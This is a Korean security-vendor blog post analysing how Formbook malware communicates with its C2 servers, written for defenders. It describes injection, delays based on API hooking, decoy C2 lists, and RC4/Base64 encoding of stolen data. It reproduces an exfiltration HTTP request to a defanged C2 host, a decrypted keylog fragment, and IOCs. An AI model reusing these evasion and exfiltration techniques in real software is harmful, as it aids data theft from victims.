Formbook 악성코드의 C2 통신 방식

대다수의 악성코드는 공격자의 명령 수신과 추가 악성 행위를 위해 C2(Command & Control server)를 활용한다. 공격자의 입장에서는 AV 제품의 감시망을 뚫고 사용자 PC에 악성코드를 감염시켜도 C2 접속이 차단되면 무용지물이다. 따라서 C2 정보 파악을 어렵게 하기 위해 가짜 C2와 통신을 하거나, 단 한 개라도 작동을 보장하기 위해 많은 수의 C2를 사용하는 등의 다양한 기법을 사용한다. Formbook 악성코드는 이렇게 C2 파악이 어려운 대표적인 악성코드이다. 본 게시글에서는 Formbook 악성코드의 C2 통신 방식과, 진짜 C2를 판별하는 방법 등을 공유하고자 한다.

Formbook 악성코드는 현재까지도 대량으로 유포 중인 악성코드이며, 매 주 업로드 되는 ASEC 주간 악성코드 통계에도 꾸준히 상위에 이름을 올린다. 해당 악성코드는 C2 확인을 어렵게 하기 위해 여러 개의 URL 리스트를 가지고 있다. 이 중 하나 만이 실제 악성 행위를 수행할 수 있는 C2 이고, 나머지는  가짜 C2 이다. C2의 노출을 막기 위해 일정 시간 간격으로 리스트의 모든 URL에 동일한 방식으로 통신을 시도한다. 최근 유포되는 샘플 중에서는 실제 C2의 접속은 고의적으로 늦게 발현시켜 C2 탐지를 어렵게 하는 행위가 발견되기도 한다.

Formbook 악성코드는 다양한 외형으로 패킹되어 이메일의 첨부파일, 악성 매크로 문서 등을 통해 주로 유포된다.

감염 시 일정 시간 행위 지연 후 System32(SysWOW64) 디렉토리 내의 정상 exe 파일을 무작위로 골라 실행한 뒤 악성 코드를 인젝션한다. 인젝션 이후에는 [그림 1]과 같이 PE 헤더를 고의적으로 손상시켜 덤프 툴 등에 탐지되지 않도록 한다.

그림 1. 정상 프로세스 내부의 인젝션된 악성코드

이후 실행 중인 explorer.exe 프로세스에 C2 통신과 관련된 악성코드를 인젝션한다. 모니터링 툴로 확인 시 ntdll.dll로 표기되나 실제로는 C2 통신을 위한 악성 코드가 인젝션되어 별도의 스레드로 실행되고 있다.

그림 2. explere.exe에 인젝션된 악성코드

Formbook은 인포스틸러 유형의 악성코드로, 각종 사용자 정보 및 입력 데이터, 스크린샷 등을 C2로 전송하는 행위를 한다. 이러한 정보 수집 및 파일 드롭 행위는 System32 디렉토리의 프로세스에 인젝션된 악성코드가 수행하고, explorer.exe에 인젝션된 악성코드는 드롭되는 각종 데이터를 C2로 전송하거나, 공격자의 명령을 수신하는 기능을 한다.

접속 URL 리스트는 관련 설정 데이터와 함께 explorer.exe의 특정 메모리 영역에 존재한다. explorer.exe 프로세스 메모리의 문자열을 추출하면 다음 [그림 3]과 같이 Formbook 악성코드가 사용하는 URL을 확인할 수 있다. 16개의 URL이 존재하며 그중 표시된 URL이 C2이다.

그림 3. explorer.exe 메모리에 존재하는 URL 문자열 목록

Formbook 악성코드는 위와같이 메모리에 존재하는 URL을 차례로 접속하는 행위를 반복한다. 최근 유포되는 샘플 중에서는 반복 중 특정 인덱스의 URL 접속은 건너 뛰어 고의적으로 실제 C2와의 통신을 지연시키는 행위가 발견되기도 한다.

그림 4. 특정 인덱스의 URL 접속 지연
그림 5. 특정 인덱스의 URL 접속 지연(2)

[그림 4]는 0x7 번째 인덱스의 URL은 접속을 건너 뛰도록 설정 되어있는 메모리 구조이다. 해당 값은 샘플마다 다르다. 현재까지 확인된 샘플들은 모두 실제 C2에 해당하는 인덱스를 건너 뛰도록 구성되어 있었다. [그림 5]의 코드를 보면 접속을 6번 건너 뛴 이후후부터 접속 가능하도록 구성해 놓았다. 즉 16개 URL중 해당 URL을 제외한 15개의 URL을 6번씩 접속한 이후 반복 부터 실제 C2와의 통신이 이루어 지게 된다. 이는 실행 시간이 한정적인 샌드박스 등의 환경에서 C2 접속 기록을 남기지 않도록 하기 위함으로 추정된다.


[API 후킹]

Formbook 악성코드는 explorer.exe 에 로드된 USER32.DLL에서 다음 API를 후킹한다.

  • GetMessageA
  • GetMessageW
  • PeekMessageA
  • PeekMessageW
그림 6. 후킹된 PeekMessageW API

후킹 함수에서는 WM_TIMER 메시지의 발생 횟수에 따라 내부적으로 카운터로 사용되는 변수 값을 1 씩 늘려주는데, 이 값을 사용해서 실행 흐름을 조절한다. 따라서 일반적인 Sleep 우회나 시스템 시간 변경 등으로는 실행 지연을 무력화할 수 없다. 본 샘플에서는 카운터 값이 0x190 이상이 되었을 때 특정 변수를 체크 후 Program Files 디렉토리로 악성코드를 자가복제 하는 행위를 한다.

또한 System32 프로세스에 인젝션된 악성코드가 주기적으로 증가시키는 변수도 존재한다. 이는 explorer.exe의 C2 접속을 지연시키는 기능을 한다. System32 프로세스는 재매핑한 ntdll.dll에서 ZwDelayExecution() 함수를 호출하여 실행 지연 후 특정 변수 값을 +1 하는 행위를 반복한다. explorer.exe의 악성코드는 해당 값을 읽어 특정 값 이상이 되었을 때 C2 접속 행위를 수행하고 0으로 초기화시킨다. 이러한 연계 행위로 인해 일정 시간 간격을 두고 C2 통신을 반복할 수 있다. 간격은 보통 20초 정도이다. 또한 만일 인젝션된 System32 프로세스가 종료되면 C2 접속행위는 발생하지 않는다.

그림 7. System32 프로세스의 변수 증가 코드
그림 8. explorer.exe의 c2 접속 여부 분기 및 변수 초기화 코드


[C2 파일 전송]

키로깅 데이터, 캡쳐 화면 등 탈취한 정보를 C2로 전송하기 위한 과정이다. 해당 과정은 주기적으로 반복 수행된다. POST 방식을 사용한다.

%appdata% 하위에 특정 이름의 폴더를 생성 후 해당 폴더 안에 특정 파일이 존재하는지 여부를 확인한다. 여기서 사용되는 파일명은 샘플 마다 다르다. 탐색 대상 파일명은 아래와 같다.

예시) %appdata%\ABCD\ABClog.ini

  • [파일명]+cl.ini
  • [파일명]+ro.ini
  • [파일명]+rv.ini
  • [파일명]+rm.ini
  • [파일명]+rc.ini
  • [파일명]+rg.ini
  • [파일명]+rt.ini
  • [파일명]+ri.ini
  • [파일명]+im.jpeg
그림 9. 탐색 대상 파일명 관련 문자열

위 파일들은 system32 폴더의 정상 프로세스에 인젝션된 악성코드가 생성할 수 있으며 각 파일별로 저장되는 정보가 다르다. 예를 들어 ~log.ini 파일에는 사용자 키로깅 데이터, ~logri.ini에는 IE 관련 정보, ~logrc.ini에는 크롬 관련 정보, ~logim.jpeg에는 스크린샷 이미지가 저장된다.

그림 10. 전송 대상 파일

explorer.exe에 인젝션된 악성 코드는 주기적으로 해당 디렉토리를 검사하며 대상 파일이 존재하는 경우 차례로 모든 URL에 전송한다. C2에 전송을 완료한 뒤에는 파일을 삭제한다. 전송 시 데이터를 암호화하여 전송하는데, 과정은 다음과 같다.


[데이터 암호화]

C2에 전송되는 데이터는 몇가지 절차에 따라 암호화되어 전송된다. RC4 알고리즘으로 암호화한 뒤 Base64 인코딩 한다. 이후 특정 문자를 치환 후 특정 양식에 맞게 이어붙힌다. 이후 동일 과정을 한번 더 반복하여 암호화한 뒤 인자에 추가한다. 여기서 RC4의 키 값은 explorer.exe 메모리 중 C2 주소 가 존재하는 영역에 [그림 11]과 같은 형식으로 저장되며, 전송되는 URL 별로 다른 값을 가진다. 문자열 치환 과정은 [그림 12]와 같다. ‘+’ –> ‘-‘ 또는 ‘~’, ‘/’ –> ‘_’ 또는 ‘(‘ , ‘=’ –> ‘.’ 또는 ‘)’ 로 치환한다.

그림 11. explorer 메모리에 존재하는 RC4 키
그림 12. 문자열 치환 코드

C2로 전송할 암호화된 데이터가 준비 되면 하드코딩 되어있는 HTTP 헤더를 불러와 이어 붙인 다음 암호화된 데이터를 추가한 후 전송한다.

최종적으로 완성된 요청 패킷은 다음과 같은 형식이다.

POST /lsg/ HTTP/1.1
Host: www[.]bakldx[.]com
Connection: close
Content-Length: 524633
Cache-Control: no-cache
Origin: hxxp://www.bakldx[.]com
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; InfoPath.3; .NET4.0C; .NET4.0E)
Content-Type: application/x-www-form-urlencoded
Accept: /
Referer: hxxp://www.bakldx[.]com/lsg/
Accept-Language: en-US
Accept-Encoding: gzip, deflate
MZfxV4o=pWZ35rhV9kSF6BjBMM6sZh0ums2ds7Xs7fc-LNO0lJvGOV8glpobv-M37gIZ80dVn6MRTIN2L9cAE0bSupF28ll6MltKg2cFewTLVksWkL9K2rgKhE4t9AhwZgPs70raXl4QIJoL9KChJMDYD0cpy5n77XOgtlYR1prM76uyeMlMc2Rl4ZFZ6ScuKHumfIAoh… (후략)puXnURy-FHs7uOBVD3AGMlcukVWcBeRi3874zMUuRMdcYq
C2 전송 HTTP 패킷


[C2 접속 (공격자 명령 수신)]

주기적으로 URL 리스트에 접속하며 공격자의 명령 하달을 대기한다. 이 때는 파일 전송과는 다르게 GET 방식을 사용한다. C2에서는 평시에는 404 Not Found를 응답하지만 공격자의 명령이 존재할 경우 다음과 같이 200 OK를 응답하며 “FBNG” 문자열로 시작하는 명령 데이터를 응답한다.

그림 13. C2의 응답 패킷 (평상시 응답)
그림 14. C2의 응답 패킷 (공격자의 명령 응답)

C2로부터 수신한 데이터는 RC4 암호화 되어있으며 암호화 키는 C2 전송과정에서 사용되는 키와 동일하다.

[C2 전송 데이터]

C2에 정보 전송시 RC4 알고리즘과 Base64 인코딩, 그리고 문자 치환을 사용한다고 하였다. 따라서 이 과정을 역으로 수행하면 송신 데이터의 복호화가 가능하다.

암호화된 데이터 -> 문자열 역치환 -> Base64 디코딩 -> RC4 복호화 -> 원본 데이터

  • C2 전송 데이터 – POST
그림 15. C2 파일 전송 패킷 예시
aL12jYI_sPU3iA3vOkrGGaXF5_XvFnZRIhg4T58XNfAiUuEONkRClGIBfNhY52uao0QxoRHoMu~CRoXYFHMQdV1CIoTAzDsYufrfoHIhYBKLymtqm_ir9YRv4ytvrefAmmKhcAO2~K~KK_MRFYAoUarD5yVsdnzq1_pttss14o2slSmMSIamxia9AzI7fNfA35mtZ65w8U9Zc1KioQDpNO98n09Pi_V6nfh2cDo_gaMmjhyz7KxKSDynxxQrDroDevdksdRXnXQdvLG5iNd5VlkQ~7PdBevLc0YL5CBBHxfrAnVFgRgyT9v5XjWXUCxlXg)
문자열 역치환aL12jYI/sPU3iA3vOkrGGaXF5/XvFnZRIhg4T58XNfAiUuEONkRClGIBfNhY52uao0QxoRHoMu+CRoXYFHMQdV1CIoTAzDsYufrfoHIhYBKLymtqm/ir9YRv4ytvrefAmmKhcAO2+K+KK/MRFYAoUarD5yVsdnzq1/pttss14o2slSmMSIamxia9AzI7fNfA35mtZ65w8U9Zc1KioQDpNO98n09Pi/V6nfh2cDo/gaMmjhyz7KxKSDynxxQrDroDevdksdRXnXQdvLG5iNd5VlkQ+7PdBevLc0YL5CBBHxfrAnVFgRgyT9v5XjWXUCxlXg=
B64 디코딩68 BD 76 8D 82 3F B0 F5 37 88 0D EF 3A 4A C6 19 A5 C5 E7 F5 EF 16 76 51 22 18 38 4F 9F 17 35 F0 22 52 E1 0E 36 44 42 94 62 01 7C D8 58 E7 6B 9A A3 44 31 A1 11 E8 32 EF 82 46 85 D8 14 73 10 75 5D 42 22 84 C0 CC 3B 18 B9 FA DF A0 72 21 60 12 8B CA 6B 6A 9B F8 AB F5 84 6F E3 2B 6F AD E7 C0 9A 62 A1 70 03 B6 F8 AF 8A 2B F3 11 15 80 28 51 AA C3 E7 25 6C 76 7C EA D7 FA 6D B6 CB 35 E2 8D AC 95 29 8C 48 86 A6 C6 26 BD 03 32 3B 7C D7 C0 DF 99 AD 67 AE 70 F1 4F 59 73 52 A2 A1 00 E9 34 EF 7C 9F 4F 4F 8B F5 7A 9D F8 76 70 3A 3F 81 A3 26 8E 1C B3 EC AC 4A 48 3C A7 C7 14 2B 0E BA 03 7A F7 64 B1 D4 57 9D 74 1D BC B1 B9 88 D7 79 56 59 10 FB B3 DD 05 EB CB 73 46 0B E4 20 41 1F 17 EB 02 75 45 81 18 32 4F DB F9 5E 35 97 50 2C 65 5E
RC4 복호화dat=V9w-sPkGg9gh2AqoAHP6cauEu5rqXkNnLXkQCrEie4FXOetgHxxFxXxzNLE30yDC5iGZBJ08aqne2KUbej94Rk07JcedpQ5ClLCCmHZQA3ezgU4In5LhwaUE8xxEztmkrzP6Mxv63uyVY_RAJLMsK76WoGx1Q1~C0ptc89NN~8il4SDnV_yQ8ADFBgQoCc~W9caZJoA85zxXRAr1ukf0BcxNvAw.&un=ZWphZWlu&br=9
과정
반복
[<-Del][<-Del][<-Del]   시계 오류 – Chrome pass a[Enter]password asdmfks asfd[Enter]

전송된 데이터는 수집된 키 로깅 정보(~.log.ini 파일)이다.

  • C2 전송 데이터 – GET

C2에 접속시 함께 전송되는 데이터의 복호화 결과는 다음과 같다. 주기적인 GET 방식을 통한 C2 접속 시에는 문자열 치환 과정은 생략된다.

그림 15. C2 접속 패킷 예시
 RqqK14md3BPQJbjlCgKStScAqqp9UcfFAXijgCjF1F72H4lAflue71+0IlURIU+N
B64 디코딩46 AA 8A D7 89 9D DC 13 D0 25 B8 E5 0A 02 92 B5 27 00 AA AA 7D 51 C7 C5 01 78 A3 80 28 C5 D4 5E F6 1F 89 40 7E 5B 9E EF 5F B4 22 55 11 21 4F 8D
RC4 복호화FBNG:89A440BF4.1:Windows 7 Ultimate x86:dm11c2Vy

시그니처:감염PC고유값:OS버전:사용자이름


[Formbook C2의 특징]

여러 URL 중 Fake C2 를 제외하고 Real C2 만이 갖는 특징이 있다. 접속 시 200 OK 와 함께 “FBNG” 문자열로 시작하는 데이터를 응답한 기록이 있다면 C2이다.

C2 접속 시 응답하는 404 Not Found 에러 페이지는 다음과 같이 경로명이 명시된다는 특징이 있다.

그림 16. C2 접속 시 에러 페이지

해당 경로명이 아닌 무작위 값을 넣어 요청할 경우 다른 형식의 에러 메시지가 출력된다.

그림 17. 다른 경로 입력 시 에러 페이지

C2의 도메인에 접속 시 다음과 같은 페이지가 출력된다.

  • Ubuntu Apache 기본 페이지
그림 18. C2 도메인 접속 시 페이지 (1)

  • Index Of 페이지
그림 19. C2 도메인 접속 시 페이지 (1)
  • Namecheap 위장 페이지
그림 20. C2 도메인 접속 시 페이지 (1)

Formbook 악성코드는 2017년 처음 보고된 이후 아직까지도 꾸준히 많은 수량이 유포되고 있어 사용자의 주의가 필요하다. 한편 안랩 V3 제품군에서는 해당 악성코드를 다음과 같은 진단으로 차단하고 있다.

그림 21. V3 진단 화면

메모리진단
Trojan/Win.Formbook.XM52

행위진단
Malware/MDP.Injection,M3509

[IOC 정보]

c104044d57e0a8e214556532e8f9263d
ef95958b2a1e0cf48f4fb44e8795cc62
www[.]naigves[.]com/gbl/
www[.]bakldx[.]com/llc/

5 2 votes
별점 주기
Subscribe
Notify of
guest

3 댓글
Inline Feedbacks
View all comments
trackback

[…] C&C サーバーに送信する。それ以外にも Formbook[5] […]

trackback

[…] 주기적으로 스크린샷을 캡쳐하여 C&C 서버에 전송한다. 이외에도 Formbook[5]도 탈취 대상 정보에 스크린샷이 포함되어 […]

trackback

[…] Formbook 악성코드의 C2 통신 방식 […]